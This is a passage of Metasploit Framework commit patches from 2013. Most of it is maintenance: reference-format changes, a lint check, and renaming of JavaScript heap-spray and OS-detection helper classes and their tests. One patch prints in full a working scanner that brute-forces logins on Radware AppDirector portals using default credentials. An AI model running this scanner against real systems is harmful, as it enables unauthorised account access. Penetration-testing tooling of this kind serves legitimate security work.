b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2012-0202'], ['OSVDB', '80876'], ['BID', '52847'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-101/'], + ['ZDI', '12-101'], ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21590314'] ], 'Privileged' => true, diff --git a/modules/exploits/windows/misc/ms10_104_sharepoint.rb b/modules/exploits/windows/misc/ms10_104_sharepoint.rb index a2b6f0cc59..f42f087f30 100644 --- a/modules/exploits/windows/misc/ms10_104_sharepoint.rb +++ b/modules/exploits/windows/misc/ms10_104_sharepoint.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '69817' ], [ 'BID', '45264' ], [ 'MSB', 'MS10-104' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-287/' ] + [ 'ZDI', '10-287' ] ], 'Targets' => [ diff --git a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb index 713be3d8d7..65095d3ff2 100644 --- a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb +++ b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2011-5001'], ['OSVDB', '77585'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-345/'] + ['ZDI', '11-345'] ], 'Payload' => { diff --git a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb index 429b83e2fd..70fc51ae61 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'OSVDB', '65361' ], [ 'BID', '40486' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-090/' ], + [ 'ZDI', '10-090' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb index 1f220a8dbb..62f755ed72 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'OSVDB', '65361' ], [ 'BID', '40486' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-090/' ], + [ 'ZDI', '10-090' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb index 82ba8bfee9..88064ab1e8 100644 --- a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb +++ b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2010-3600' ], [ 'OSVDB', '70546'], [ 'BID', '45883'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-018/' ], + [ 'ZDI', '11-018' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html' ] ], 'Targets' => diff --git a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb index cc43b178b6..edfaed5062 100644 --- a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb +++ b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2011-4051' ], [ 'OSVDB', '77179' ], [ 'BID', '50675' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-330' ] + [ 'ZDI', '11-330' ] ], 'Privileged' => true, 'Payload' => From 36a7d020015c07d4b11a3e5e1032966034adda18 Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 21 Oct 2013 15:30:07 -0500 Subject: [PATCH 281/409] Update msftidy to check new ZDI reference --- tools/msftidy.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index c8b37c215e..fe2d92668a 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -115,6 +115,8 @@ class Msftidy warn("Invalid WVE reference") if value !~ /^\d+\-\d+$/ when 'US-CERT-VU' warn("Invalid US-CERT-VU reference") if value !~ /^\d+$/ + when 'ZDI' + warn("Invalid ZDI reference") if value !~ /^\d{2}-\d{3}$/ when 'URL' if value =~ /^http:\/\/www\.osvdb\.org/ warn("Please use 'OSVDB' for '#{value}'") From 71fab72e0607541f9d77d7ba8135722cb720bc90 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 21 Oct 2013 15:35:51 -0500 Subject: [PATCH 282/409] Delete duplicate content-length from axis2_deployer --- modules/exploits/multi/http/axis2_deployer.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index 17ef8c8aac..62ae5fff48 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -121,7 +121,6 @@ class Metasploit3 < Msf::Exploit::Remote 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=' + boundary, - 'Content-Length' => data.length, 'Cookie' => "JSESSIONID=#{session}", } }, 25) From 5613cfb249e9ac5b7b6ad7575e6cdde28daa5416 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 21 Oct 2013 15:57:23 -0500 Subject: [PATCH 283/409] Retab changes for PR #2455 --- .../scanner/http/radware_appdirector_enum.rb | 192 +++++++++--------- 1 file changed, 95 insertions(+), 97 deletions(-) diff --git a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb index d0a06e6311..d7284d8b2b 100644 --- a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb +++ b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb @@ -1,122 +1,120 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report - include Msf::Auxiliary::AuthBrute - include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner - def initialize(info={}) - super(update_info(info, - 'Name' => 'Radware AppDirector Bruteforce Login Utility', - 'Description' => %{ - This module scans for Radware AppDirector's web login portal, and performs login brute force - to identify valid credentials. - }, - 'Author' => - [ - 'Karn Ganeshen ', - ], - 'License' => MSF_LICENSE, + def initialize(info={}) + super(update_info(info, + 'Name' => 'Radware AppDirector Bruteforce Login Utility', + 'Description' => %{ + This module scans for Radware AppDirector's web login portal, and performs login brute force + to identify valid credentials. + }, + 'Author' => + [ + 'Karn Ganeshen ', + ], + 'License' => MSF_LICENSE, - 'DefaultOptions' => - { - 'DB_ALL_CREDS' => false, - 'BLANK_PASSWORDS' => false - } - )) + 'DefaultOptions' => + { + 'DB_ALL_CREDS' => false, + 'BLANK_PASSWORDS' => false + } + )) - register_options( - [ - OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", true]), - OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'radware'", "radware"]), - OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'radware'", "radware"]) - ], self.class) - end + register_options( + [ + OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", true]), + OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'radware'", "radware"]), + OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'radware'", "radware"]) + ], self.class) + end - def run_host(ip) - unless is_app_radware? - return - end + def run_host(ip) + unless is_app_radware? + return + end - print_status("#{rhost}:#{rport} - Starting login brute force...") - each_user_pass do |user, pass| - do_login(user, pass) - end - end + print_status("#{rhost}:#{rport} - Starting login brute force...") + each_user_pass do |user, pass| + do_login(user, pass) + end + end - # - # What's the point of running this module if the target actually isn't Radware - # + # + # What's the point of running this module if the target actually isn't Radware + # - def is_app_radware? - begin - res = send_request_cgi( - { - 'uri' => '/', - 'method' => 'GET' - }) - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") - return false - end + def is_app_radware? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + return false + end - if (res and res.headers['Server'] and res.headers['Server'].include?("Radware-web-server")) - vprint_good("#{rhost}:#{rport} - Running Radware portal...") - return true - else - vprint_error("#{rhost}:#{rport} - Application is not Radware. Module will not continue.") - return false - end - end + if (res and res.headers['Server'] and res.headers['Server'].include?("Radware-web-server")) + vprint_good("#{rhost}:#{rport} - Running Radware portal...") + return true + else + vprint_error("#{rhost}:#{rport} - Application is not Radware. Module will not continue.") + return false + end + end - # - # Brute-force the login page - # + # + # Brute-force the login page + # - def do_login(user, pass) - vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") - begin - res = send_request_cgi( - { - 'uri' => '/', - 'method' => 'GET', - 'authorization' => basic_auth(user,pass) - }) + def do_login(user, pass) + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET', + 'authorization' => basic_auth(user,pass) + }) - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE - vprint_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") - return :abort + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + return :abort - end + end - if (res and res.code == 302 and res.headers['Location'].include?('redirectId')) - print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + if (res and res.code == 302 and res.headers['Location'].include?('redirectId')) + print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'Radware AppDirector', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } + report_hash = { + :host => rhost, + :port => rport, + :sname => 'Radware AppDirector', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } - report_auth_info(report_hash) - return :next_user + report_auth_info(report_hash) + return :next_user - else - vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") - end + else + vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + end - end + end end From 5280bcf3f87791a1f37afe0607795079e8656efb Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 21 Oct 2013 17:13:01 -0500 Subject: [PATCH 284/409] Update rspec files Remove some junk code --- spec/lib/rex/exploitation/javascriptaddonsdetect_spec.rb | 4 ---- spec/lib/rex/exploitation/javascriptexploitation_spec.rb | 4 ---- spec/lib/rex/exploitation/javascriptnetwork_spec.rb | 4 ---- spec/lib/rex/exploitation/javascriptosdetect_spec.rb | 4 ---- spec/lib/rex/exploitation/javascriptutils_spec.rb | 4 ---- 5 files changed, 20 deletions(-) diff --git a/spec/lib/rex/exploitation/javascriptaddonsdetect_spec.rb b/spec/lib/rex/exploitation/javascriptaddonsdetect_spec.rb index b356981973..25e018cc75 100644 --- a/spec/lib/rex/exploitation/javascriptaddonsdetect_spec.rb +++ b/spec/lib/rex/exploitation/javascriptaddonsdetect_spec.rb @@ -2,10 +2,6 @@ require 'rex/exploitation/javascriptaddonsdetect' describe Rex::Exploitation::JavascriptAddonsDetect do - subject(:ropdb) do - described_class.new - end - context "Class methods" do context ".initialize" do diff --git a/spec/lib/rex/exploitation/javascriptexploitation_spec.rb b/spec/lib/rex/exploitation/javascriptexploitation_spec.rb index 4bee91134a..f0f4838bbc 100644 --- a/spec/lib/rex/exploitation/javascriptexploitation_spec.rb +++ b/spec/lib/rex/exploitation/javascriptexploitation_spec.rb @@ -2,10 +2,6 @@ require 'rex/exploitation/javascriptexploitation' describe Rex::Exploitation::JavascriptExploitation do - subject(:ropdb) do - described_class.new - end - context "Class methods" do context ".mstime_malloc" do diff --git a/spec/lib/rex/exploitation/javascriptnetwork_spec.rb b/spec/lib/rex/exploitation/javascriptnetwork_spec.rb index bbe6c44cbf..7b3bd5e9af 100644 --- a/spec/lib/rex/exploitation/javascriptnetwork_spec.rb +++ b/spec/lib/rex/exploitation/javascriptnetwork_spec.rb @@ -2,10 +2,6 @@ require 'rex/exploitation/javascriptnetwork' describe Rex::Exploitation::JavascriptNetwork do - subject(:ropdb) do - described_class.new - end - context "Class methods" do context ".ajax_download" do diff --git a/spec/lib/rex/exploitation/javascriptosdetect_spec.rb b/spec/lib/rex/exploitation/javascriptosdetect_spec.rb index fdfb0941b8..cc2cae54d7 100644 --- a/spec/lib/rex/exploitation/javascriptosdetect_spec.rb +++ b/spec/lib/rex/exploitation/javascriptosdetect_spec.rb @@ -2,10 +2,6 @@ require 'rex/exploitation/javascriptosdetect' describe Rex::Exploitation::JavascriptOSDetect do - subject(:ropdb) do - described_class.new - end - context "Class methods" do context ".initialize" do diff --git a/spec/lib/rex/exploitation/javascriptutils_spec.rb b/spec/lib/rex/exploitation/javascriptutils_spec.rb index 00165c9ad0..cc3722ce9b 100644 --- a/spec/lib/rex/exploitation/javascriptutils_spec.rb +++ b/spec/lib/rex/exploitation/javascriptutils_spec.rb @@ -2,10 +2,6 @@ require 'rex/exploitation/javascriptutils' describe Rex::Exploitation::JavascriptUtils do - subject(:ropdb) do - described_class.new - end - context "Class methods" do context ".base64" do From 9a3e7192331146aa61adc9ddf0fd42054d1fbf55 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 21 Oct 2013 20:16:37 -0500 Subject: [PATCH 285/409] Rework the naming style --- lib/msf/core/exploit/http/server.rb | 22 ++++---- .../exploitation/javascriptaddonsdetect.rb | 29 ----------- .../exploitation/javascriptexploitation.rb | 51 ------------------- lib/rex/exploitation/javascriptnetwork.rb | 27 ---------- lib/rex/exploitation/javascriptosdetect.rb | 43 ---------------- lib/rex/exploitation/javascriptutils.rb | 32 ------------ modules/auxiliary/server/browser_autopwn.rb | 4 +- .../javascriptaddonsdetect_spec.rb | 16 ------ .../javascriptexploitation_spec.rb | 30 ----------- .../exploitation/javascriptnetwork_spec.rb | 16 ------ .../exploitation/javascriptosdetect_spec.rb | 16 ------ .../rex/exploitation/javascriptutils_spec.rb | 16 ------ 12 files changed, 13 insertions(+), 289 deletions(-) delete mode 100644 lib/rex/exploitation/javascriptaddonsdetect.rb delete mode 100644 lib/rex/exploitation/javascriptexploitation.rb delete mode 100644 lib/rex/exploitation/javascriptnetwork.rb delete mode 100644 lib/rex/exploitation/javascriptosdetect.rb delete mode 100644 lib/rex/exploitation/javascriptutils.rb delete mode 100644 spec/lib/rex/exploitation/javascriptaddonsdetect_spec.rb delete mode 100644 spec/lib/rex/exploitation/javascriptexploitation_spec.rb delete mode 100644 spec/lib/rex/exploitation/javascriptnetwork_spec.rb delete mode 100644 spec/lib/rex/exploitation/javascriptosdetect_spec.rb delete mode 100644 spec/lib/rex/exploitation/javascriptutils_spec.rb diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 1ca97d0472..cc4a9020f4 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -3,11 +3,11 @@ require 'rex/service_manager' require 'rex/exploitation/obfuscatejs' require 'rex/exploitation/encryptjs' require 'rex/exploitation/heaplib' -require 'rex/exploitation/javascriptnetwork' -require 'rex/exploitation/javascriptutils' -require 'rex/exploitation/javascriptosdetect' -require 'rex/exploitation/javascriptaddonsdetect' -require 'rex/exploitation/javascriptexploitation' +require 'rex/exploitation/js/network' +require 'rex/exploitation/js/utils' +require 'rex/exploitation/js/osdetect' +require 'rex/exploitation/js/addonsdetect' +require 'rex/exploitation/js/memory' module Msf @@ -721,7 +721,7 @@ protected end def js_base64 - @cache_base64 ||= Rex::Exploitation::JavascriptUtils.base64 + @cache_base64 ||= Rex::Exploitation::Js::Utils.base64 end @@ -744,7 +744,7 @@ protected # # def js_ajax_download - @cache_ajax_download ||= Rex::Exploitation::JavascriptNetwork.ajax_download + @cache_ajax_download ||= Rex::Exploitation::Js::Network.ajax_download end @@ -780,7 +780,7 @@ protected # # def js_mstime_malloc - @cache_mstime_malloc ||= Rex::Exploitation::JavascriptExploitation.mstime_malloc + @cache_mstime_malloc ||= Rex::Exploitation::Js::Memory.mstime_malloc end # @@ -806,15 +806,15 @@ protected # # def js_property_spray - @cache_property_spray ||= Rex::Exploitation::JavascriptExploitation.property_spray + @cache_property_spray ||= Rex::Exploitation::Js::Memory.property_spray end def js_heap_spray - @cache_heap_spray ||= Rex::Exploitation::JavascriptExploitation.heap_spray + @cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray end def js_os_detect - @cache_os_detect ||= ::Rex::Exploitation::JavascriptOSDetect.new + @cache_os_detect ||= ::Rex::Exploitation::Js::OSDetect.new end # Transmits a html response to the supplied client diff --git a/lib/rex/exploitation/javascriptaddonsdetect.rb b/lib/rex/exploitation/javascriptaddonsdetect.rb deleted file mode 100644 index 9ee8e0f1bc..0000000000 --- a/lib/rex/exploitation/javascriptaddonsdetect.rb +++ /dev/null @@ -1,29 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core' -require 'rex/text' -require 'rex/exploitation/jsobfu' - -module Rex -module Exploitation - -# -# Provides javascript functions to determine addon information. -# -# getMsOfficeVersion(): Returns the version for Microsoft Office -# -class JavascriptAddonsDetect < JSObfu - - def initialize(custom_js = '', opts = {}) - @js = custom_js - @js += ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "addons.js")) - - super @js - - return @js - end - -end -end - -end diff --git a/lib/rex/exploitation/javascriptexploitation.rb b/lib/rex/exploitation/javascriptexploitation.rb deleted file mode 100644 index 2328edba3b..0000000000 --- a/lib/rex/exploitation/javascriptexploitation.rb +++ /dev/null @@ -1,51 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core' - -module Rex -module Exploitation - -# -# Provides exploitation functions in JavaScript -# -class JavascriptExploitation - - def self.mstime_malloc - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "exploitation", "mstime_malloc.js")) - js = js.gsub(/W00TA/, Rex::Text.rand_text_hex(6)) - js = js.gsub(/W00TB/, Rex::Text.rand_text_hex(5)) - - ::Rex::Exploitation::ObfuscateJS.new(js, - { - 'Symbols' => { - 'Variables' => %w{ buf eleId acTag } - } - }).obfuscate - end - - def self.property_spray - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "exploitation", "property_spray.js")) - - ::Rex::Exploitation::ObfuscateJS.new(js, - { - 'Symbols' => { - 'Variables' => %w{ sym_div_container data junk obj } - } - }).obfuscate - end - - def self.heap_spray - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "exploitation", "heap_spray.js")) - - ::Rex::Exploitation::ObfuscateJS.new(js, - { - 'Symbols' => { - 'Variables' => %w{ index heapSprayAddr_hi heapSprayAddr_lo retSlide heapBlockCnt } - } - }).obfuscate - end - -end -end - -end diff --git a/lib/rex/exploitation/javascriptnetwork.rb b/lib/rex/exploitation/javascriptnetwork.rb deleted file mode 100644 index 23c71dd9a1..0000000000 --- a/lib/rex/exploitation/javascriptnetwork.rb +++ /dev/null @@ -1,27 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core' - -module Rex -module Exploitation - -# -# Provides networking functions in JavaScript -# -class JavascriptNetwork - - def self.ajax_download - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_download.js")) - - ::Rex::Exploitation::ObfuscateJS.new(js, - { - 'Symbols' => { - 'Variables' => %w{ xmlHttp } - } - }).obfuscate - end - -end -end - -end diff --git a/lib/rex/exploitation/javascriptosdetect.rb b/lib/rex/exploitation/javascriptosdetect.rb deleted file mode 100644 index 2536413911..0000000000 --- a/lib/rex/exploitation/javascriptosdetect.rb +++ /dev/null @@ -1,43 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core' -require 'rex/text' -require 'rex/exploitation/jsobfu' - -module Rex -module Exploitation - -# -# Provides several javascript functions for determining the OS and browser versions of a client. -# -# getVersion(): returns an object with the following properties -# os_name - OS name, one of the Msf::OperatingSystems constants -# os_flavor - OS flavor as a string (e.g.: "XP", "2000") -# os_sp - OS service pack (e.g.: "SP2", will be empty on non-Windows) -# os_lang - OS language (e.g.: "en-us") -# ua_name - Client name, one of the Msf::HttpClients constants -# ua_version - Client version as a string (e.g.: "3.5.1", "6.0;SP2") -# arch - Architecture, one of the ARCH_* constants -# -# The following functions work on the version returned in obj.ua_version -# -# ua_ver_cmp(a, b): returns -1, 0, or 1 based on whether a < b, a == b, or a > b respectively -# ua_ver_lt(a, b): returns true if a < b -# ua_ver_gt(a, b): returns true if a > b -# ua_ver_eq(a, b): returns true if a == b -# -class JavascriptOSDetect < JSObfu - - def initialize(custom_js = '', opts = {}) - @js = custom_js - @js += ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "os.js")) - - super @js - - return @js - end - -end -end - -end diff --git a/lib/rex/exploitation/javascriptutils.rb b/lib/rex/exploitation/javascriptutils.rb deleted file mode 100644 index df77cb9d0e..0000000000 --- a/lib/rex/exploitation/javascriptutils.rb +++ /dev/null @@ -1,32 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core' -require 'rex/text' -require 'rex/exploitation/jsobfu' - -module Rex -module Exploitation - -# -# Javascript utilities -# -class JavascriptUtils - - def self.base64 - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "utils", "base64.js")) - - opts = { - 'Symbols' => { - 'Variables' => %w{ Base64 encoding result _keyStr encoded_data utftext input_idx - input output chr chr1 chr2 chr3 enc1 enc2 enc3 enc4 }, - 'Methods' => %w{ _utf8_encode _utf8_decode encode decode } - } - } - - ::Rex::Exploitation::ObfuscateJS.new(js, opts).to_s - end - -end -end - -end diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb index 05c0a5067e..8c0fc65116 100644 --- a/modules/auxiliary/server/browser_autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn.rb @@ -9,7 +9,7 @@ # - caching is busted when different browsers come from the same IP require 'msf/core' -require 'rex/exploitation/javascriptosdetect' +require 'rex/exploitation/js/osdetect' require 'rex/exploitation/jsobfu' class Metasploit3 < Msf::Auxiliary @@ -171,7 +171,7 @@ class Metasploit3 < Msf::Auxiliary def setup print_status("Setup") - @init_js = ::Rex::Exploitation::JavascriptOSDetect.new <<-ENDJS + @init_js = ::Rex::Exploitation::Js::OSDetect.new <<-ENDJS #{js_base64} diff --git a/spec/lib/rex/exploitation/javascriptaddonsdetect_spec.rb b/spec/lib/rex/exploitation/javascriptaddonsdetect_spec.rb deleted file mode 100644 index 25e018cc75..0000000000 --- a/spec/lib/rex/exploitation/javascriptaddonsdetect_spec.rb +++ /dev/null @@ -1,16 +0,0 @@ -require 'rex/exploitation/javascriptaddonsdetect' - -describe Rex::Exploitation::JavascriptAddonsDetect do - - context "Class methods" do - - context ".initialize" do - it "should load the Addons Detect javascript" do - js = Rex::Exploitation::JavascriptAddonsDetect.new.to_s - js.should =~ /window\.addons_detect/ - end - end - - end - -end \ No newline at end of file diff --git a/spec/lib/rex/exploitation/javascriptexploitation_spec.rb b/spec/lib/rex/exploitation/javascriptexploitation_spec.rb deleted file mode 100644 index f0f4838bbc..0000000000 --- a/spec/lib/rex/exploitation/javascriptexploitation_spec.rb +++ /dev/null @@ -1,30 +0,0 @@ -require 'rex/exploitation/javascriptexploitation' - -describe Rex::Exploitation::JavascriptExploitation do - - context "Class methods" do - - context ".mstime_malloc" do - it "should load the mstime_malloc javascript" do - js = Rex::Exploitation::JavascriptExploitation.mstime_malloc - js.should =~ /function mstime_malloc/ - end - end - - context ".property_spray" do - it "should load the property_spray javascript" do - js = Rex::Exploitation::JavascriptExploitation.property_spray - js.should =~ /function sprayHeap/ - end - end - - context ".heap_spray" do - it "should load the heap_spray javascript" do - js = Rex::Exploitation::JavascriptExploitation.heap_spray - js.should =~ /function sprayHeap/ - end - end - - end - -end \ No newline at end of file diff --git a/spec/lib/rex/exploitation/javascriptnetwork_spec.rb b/spec/lib/rex/exploitation/javascriptnetwork_spec.rb deleted file mode 100644 index 7b3bd5e9af..0000000000 --- a/spec/lib/rex/exploitation/javascriptnetwork_spec.rb +++ /dev/null @@ -1,16 +0,0 @@ -require 'rex/exploitation/javascriptnetwork' - -describe Rex::Exploitation::JavascriptNetwork do - - context "Class methods" do - - context ".ajax_download" do - it "should load the ajax_download javascript" do - js = Rex::Exploitation::JavascriptNetwork.ajax_download - js.should =~ /function ajax_download/ - end - end - - end - -end \ No newline at end of file diff --git a/spec/lib/rex/exploitation/javascriptosdetect_spec.rb b/spec/lib/rex/exploitation/javascriptosdetect_spec.rb deleted file mode 100644 index cc2cae54d7..0000000000 --- a/spec/lib/rex/exploitation/javascriptosdetect_spec.rb +++ /dev/null @@ -1,16 +0,0 @@ -require 'rex/exploitation/javascriptosdetect' - -describe Rex::Exploitation::JavascriptOSDetect do - - context "Class methods" do - - context ".initialize" do - it "should load the OSDetect javascript" do - js = Rex::Exploitation::JavascriptOSDetect.new.to_s - js.should =~ /window\.os_detect/ - end - end - - end - -end \ No newline at end of file diff --git a/spec/lib/rex/exploitation/javascriptutils_spec.rb b/spec/lib/rex/exploitation/javascriptutils_spec.rb deleted file mode 100644 index cc3722ce9b..0000000000 --- a/spec/lib/rex/exploitation/javascriptutils_spec.rb +++ /dev/null @@ -1,16 +0,0 @@ -require 'rex/exploitation/javascriptutils' - -describe Rex::Exploitation::JavascriptUtils do - - context "Class methods" do - - context ".base64" do - it "should load the base64 javascript" do - js = Rex::Exploitation::JavascriptUtils.base64 - js.should =~ /encode : function/ - end - end - - end - -end \ No newline at end of file From ea56c4914c4dda28c7f565d5456f9ad0dc951bd3 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 21 Oct 2013 20:17:38 -0500 Subject: [PATCH 286/409] Need this file --- lib/rex/exploitation/js.rb | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 lib/rex/exploitation/js.rb diff --git a/lib/rex/exploitation/js.rb b/lib/rex/exploitation/js.rb new file mode 100644 index 0000000000..115c774b20 --- /dev/null +++ b/lib/rex/exploitation/js.rb @@ -0,0 +1,5 @@ +require 'rex/exploitation/js/addonsdetect' +require 'rex/exploitation/js/memory' +require 'rex/exploitation/js/network' +require 'rex/exploitation/js/osdetect' +require 'rex/exploitation/js/utils' \ No newline at end of file From 135648c171978dbc2f0a213913f141d278cc0e83 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 21 Oct 2013 20:18:36 -0500 Subject: [PATCH 287/409] Add the new rspec files --- .../rex/exploitation/js/addonsdetect_spec.rb | 16 ++++++++++ spec/lib/rex/exploitation/js/memory_spec.rb | 30 +++++++++++++++++++ spec/lib/rex/exploitation/js/network_spec.rb | 16 ++++++++++ spec/lib/rex/exploitation/js/osdetect_spec.rb | 16 ++++++++++ spec/lib/rex/exploitation/js/utils_spec.rb | 16 ++++++++++ 5 files changed, 94 insertions(+) create mode 100644 spec/lib/rex/exploitation/js/addonsdetect_spec.rb create mode 100644 spec/lib/rex/exploitation/js/memory_spec.rb create mode 100644 spec/lib/rex/exploitation/js/network_spec.rb create mode 100644 spec/lib/rex/exploitation/js/osdetect_spec.rb create mode 100644 spec/lib/rex/exploitation/js/utils_spec.rb diff --git a/spec/lib/rex/exploitation/js/addonsdetect_spec.rb b/spec/lib/rex/exploitation/js/addonsdetect_spec.rb new file mode 100644 index 0000000000..8b54379a99 --- /dev/null +++ b/spec/lib/rex/exploitation/js/addonsdetect_spec.rb @@ -0,0 +1,16 @@ +require 'rex/exploitation/js' + +describe Rex::Exploitation::Js::AddonsDetect do + + context "Class methods" do + + context ".initialize" do + it "should load the Addons Detect javascript" do + js = Rex::Exploitation::Js::AddonsDetect.new.to_s + js.should =~ /window\.addons_detect/ + end + end + + end + +end \ No newline at end of file diff --git a/spec/lib/rex/exploitation/js/memory_spec.rb b/spec/lib/rex/exploitation/js/memory_spec.rb new file mode 100644 index 0000000000..88dc94f501 --- /dev/null +++ b/spec/lib/rex/exploitation/js/memory_spec.rb @@ -0,0 +1,30 @@ +require 'rex/exploitation/js' + +describe Rex::Exploitation::Js::Memory do + + context "Class methods" do + + context ".mstime_malloc" do + it "should load the mstime_malloc javascript" do + js = 